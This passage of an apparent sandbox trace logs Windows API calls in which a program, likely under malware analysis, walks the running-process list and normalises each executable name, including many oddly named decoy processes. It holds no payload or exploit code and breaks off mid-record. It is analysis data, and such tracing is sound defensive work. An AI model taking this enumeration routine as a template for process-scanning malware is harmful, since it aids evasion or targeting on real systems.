lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.427] lstrlenW (lpString="svchost.exe") returned 11 [0211.427] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.427] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.427] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.427] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.427] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.428] lstrlenW (lpString="svchost.exe") returned 11 [0211.428] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.428] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.428] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.428] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.429] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.429] lstrlenW (lpString="svchost.exe") returned 11 [0211.429] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.429] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.429] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.429] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.429] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.429] lstrlenW (lpString="svchost.exe") returned 11 [0211.429] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.429] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.429] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.429] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.430] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.430] lstrlenW (lpString="svchost.exe") returned 11 [0211.430] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.430] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.430] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.430] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.431] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.431] lstrlenW (lpString="svchost.exe") returned 11 [0211.431] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.431] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.431] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.431] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.431] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0211.431] lstrlenW (lpString="spoolsv.exe") returned 11 [0211.431] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0211.431] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0211.432] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0211.432] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.432] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.432] lstrlenW (lpString="svchost.exe") returned 11 [0211.432] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.432] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.432] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.432] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0211.433] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0211.433] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0211.433] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0211.433] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0211.433] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0211.433] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.433] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.434] lstrlenW (lpString="svchost.exe") returned 11 [0211.434] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.434] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.434] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.434] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0211.434] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0211.434] lstrlenW (lpString="sihost.exe") returned 10 [0211.434] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0211.434] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0211.434] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0211.434] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0211.435] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0211.435] lstrlenW (lpString="taskhostw.exe") returned 13 [0211.435] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0211.435] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0211.435] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0211.435] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.436] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0211.436] lstrlenW (lpString="explorer.exe") returned 12 [0211.436] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0211.436] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0211.436] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0211.436] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0211.436] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0211.436] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0211.436] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0211.436] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0211.436] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0211.436] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0211.437] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0211.437] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0211.437] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0211.437] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0211.437] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0211.437] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0211.438] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0211.438] lstrlenW (lpString="SearchUI.exe") returned 12 [0211.438] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0211.438] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0211.438] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0211.438] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0211.438] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0211.438] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0211.438] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0211.438] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0211.438] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0211.438] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0211.439] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0211.439] lstrlenW (lpString="nice cu.exe") returned 11 [0211.439] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0211.439] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0211.439] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0211.439] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0211.440] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0211.440] lstrlenW (lpString="video_reviewing.exe") returned 19 [0211.440] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0211.440] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0211.440] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0211.440] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0211.440] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0211.440] lstrlenW (lpString="shame.exe") returned 9 [0211.441] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0211.441] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0211.441] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0211.441] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0211.441] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0211.441] lstrlenW (lpString="fantasy.exe") returned 11 [0211.441] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0211.441] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0211.441] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0211.441] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0211.442] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0211.442] lstrlenW (lpString="accepting.exe") returned 13 [0211.442] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0211.442] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0211.442] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0211.442] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0211.443] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0211.443] lstrlenW (lpString="authorized.exe") returned 14 [0211.443] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0211.443] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0211.443] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0211.443] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0211.443] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0211.443] lstrlenW (lpString="isp.exe") returned 7 [0211.443] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0211.443] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0211.443] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0211.443] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0211.444] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0211.444] lstrlenW (lpString="cowboy.exe") returned 10 [0211.444] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0211.444] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0211.444] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0211.444] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0211.445] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0211.445] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0211.445] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0211.445] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0211.445] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0211.445] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0211.445] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0211.445] lstrlenW (lpString="thats.exe") returned 9 [0211.446] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0211.446] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0211.446] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0211.446] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0211.446] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0211.446] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0211.446] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0211.446] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0211.446] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0211.446] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0211.447] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0211.447] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0211.447] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0211.447] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0211.447] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0211.447] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0211.448] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0211.448] lstrlenW (lpString="actual.exe") returned 10 [0211.448] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0211.448] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0211.448] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0211.448] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0211.448] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0211.448] lstrlenW (lpString="potter larry.exe") returned 16 [0211.448] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0211.448] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0211.448] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0211.448] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, 